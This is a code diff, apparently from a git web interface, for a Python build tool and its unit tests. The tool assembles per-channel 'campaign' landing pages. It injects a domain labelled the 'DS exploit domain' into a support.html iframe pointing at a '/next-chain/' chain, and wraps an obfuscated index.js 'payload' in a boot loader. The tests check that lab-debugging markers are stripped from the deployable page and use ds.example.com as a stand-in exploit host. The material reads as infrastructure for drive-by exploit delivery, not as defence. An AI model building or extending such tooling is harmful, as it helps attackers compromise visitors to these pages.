if not src.is_file():
|
||||
raise SystemExit(f"missing support template: {src}")
|
||||
shutil.copyfile(src, dest)
|
||||
if template == "blank":
|
||||
ensure_hit_beacon(dest)
|
||||
|
||||
|
||||
def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
|
||||
"""Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
|
||||
if not support_html.is_file():
|
||||
return
|
||||
text = support_html.read_text(encoding="utf-8")
|
||||
if "__DS_DOMAIN__" not in text:
|
||||
return
|
||||
support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
|
||||
|
||||
|
||||
def resolve_python() -> str:
|
||||
@@ -303,12 +280,20 @@ def main() -> int:
|
||||
type=Path,
|
||||
help="optional path to write the result JSON (also printed on stdout)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ds-domain",
|
||||
default="",
|
||||
help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
|
||||
"Empty = relative /next-chain/ (default)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
src_campaign = SOURCE_ROOT / "web"
|
||||
src_sync = SOURCE_ROOT / "sync"
|
||||
if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
|
||||
raise SystemExit(f"missing source web template: {src_campaign}")
|
||||
if not (src_campaign / "index.js").is_file():
|
||||
raise SystemExit(f"missing source web/index.js: {src_campaign}")
|
||||
if not src_sync.is_dir():
|
||||
raise SystemExit(f"missing source sync: {src_sync}")
|
||||
|
||||
@@ -382,7 +367,10 @@ def main() -> int:
|
||||
print("=== build web/%s ===" % channel)
|
||||
web_dir.parent.mkdir(parents=True, exist_ok=True)
|
||||
shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
|
||||
if not (web_dir / "index.js").is_file():
|
||||
raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
|
||||
apply_support_template(web_dir, support_template)
|
||||
apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
|
||||
run(
|
||||
[
|
||||
py,
|
||||
@@ -401,6 +389,11 @@ def main() -> int:
|
||||
"--apply",
|
||||
]
|
||||
)
|
||||
apply_embed_boot(
|
||||
web_dir,
|
||||
channel_code=channel,
|
||||
ds_domain=(args.ds_domain or "").rstrip("/"),
|
||||
)
|
||||
except BaseException:
|
||||
if web_dir.exists() and not sync_rebuilt:
|
||||
# leave shared sync; remove failed channel web
|
||||
@@ -421,6 +414,7 @@ def main() -> int:
|
||||
"seeds_initialized": seeds_initialized,
|
||||
"sync_rebuilt": sync_rebuilt,
|
||||
"support_path": f"/web/{channel}/support.html",
|
||||
"ds_domain": (args.ds_domain or "").rstrip("/"),
|
||||
"daily_path": "/sync/daily.html",
|
||||
"artifact_root": str(artifact_root),
|
||||
"state_root": str(state_root),
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
import tempfile
|
||||
import unittest
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
|
||||
TOOLS = Path(__file__).resolve().parents[1]
|
||||
SOURCE = TOOLS.parent / "source"
|
||||
EMBED = TOOLS.parents[1] / "channel-embed"
|
||||
if str(TOOLS) not in sys.path:
|
||||
sys.path.insert(0, str(TOOLS))
|
||||
if str(EMBED) not in sys.path:
|
||||
sys.path.insert(0, str(EMBED))
|
||||
|
||||
from embed_boot import BOOT_MARKER, apply_embed_boot # noqa: E402
|
||||
from new_project import apply_ds_domain, apply_support_template # noqa: E402
|
||||
|
||||
|
||||
class SupportLandingTest(unittest.TestCase):
|
||||
def test_source_index_js_holds_payload(self) -> None:
|
||||
index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("function cAsUcoxco", index_js)
|
||||
self.assertGreater(len(index_js), 1000)
|
||||
|
||||
def test_source_landings_only_load_index_js(self) -> None:
|
||||
landings = [
|
||||
SOURCE / "web" / "support.html",
|
||||
SOURCE / "templates" / "support" / "blank.html",
|
||||
SOURCE / "templates" / "support" / "test.html",
|
||||
]
|
||||
for path in landings:
|
||||
html = path.read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html, path.name)
|
||||
self.assertNotIn('src="/t.js"', html, path.name)
|
||||
self.assertNotIn("data-pv", html, path.name)
|
||||
self.assertNotIn("/statistic/t", html, path.name)
|
||||
self.assertNotIn("/next-chain/frame.html", html, path.name)
|
||||
self.assertNotIn("__DS_DOMAIN__", html, path.name)
|
||||
self.assertNotIn("function cAsUcoxco", html, path.name)
|
||||
|
||||
clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
|
||||
self.assertNotIn("lab-hud", clean)
|
||||
self.assertNotIn("__labHud", clean)
|
||||
self.assertNotIn("STAGE_MAP", clean)
|
||||
|
||||
def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
(dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
ds_domain="https://ds.example.com",
|
||||
)
|
||||
boot = (dest / "index.js").read_text(encoding="utf-8")
|
||||
payload = (dest / "payload.js").read_text(encoding="utf-8")
|
||||
self.assertIn(BOOT_MARKER, boot)
|
||||
self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
|
||||
self.assertIn("https://ds.example.com", boot)
|
||||
self.assertIn("payload.js", boot)
|
||||
self.assertIn("function cAsUcoxco", payload)
|
||||
apply_embed_boot(
|
||||
dest,
|
||||
channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
|
||||
ds_domain="",
|
||||
)
|
||||
boot2 = (dest / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
|
||||
self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
|
||||
|
||||
def test_apply_support_template_does_not_inline_beacon(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp)
|
||||
apply_support_template(dest, "blank")
|
||||
html = (dest / "support.html").read_text(encoding="utf-8")
|
||||
self.assertIn('src="index.js"', html)
|
||||
self.assertNotIn("data-pv", html)
|
||||
self.assertNotIn("/statistic/t", html)
|
||||
|
||||
def test_apply_ds_domain_replaces_placeholder(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
dest = Path(tmp) / "support.html"
|
||||
dest.write_text(
|
||||
"var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_ds_domain(dest, "https://ds.example.com")
|
||||
text = dest.read_text(encoding="utf-8")
|
||||
self.assertNotIn("__DS_DOMAIN__", text)
|
||||
self.assertIn("https://ds.example.com", text)
|
||||
self.assertIn("/next-chain/frame.html", text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in New Issue
Block a user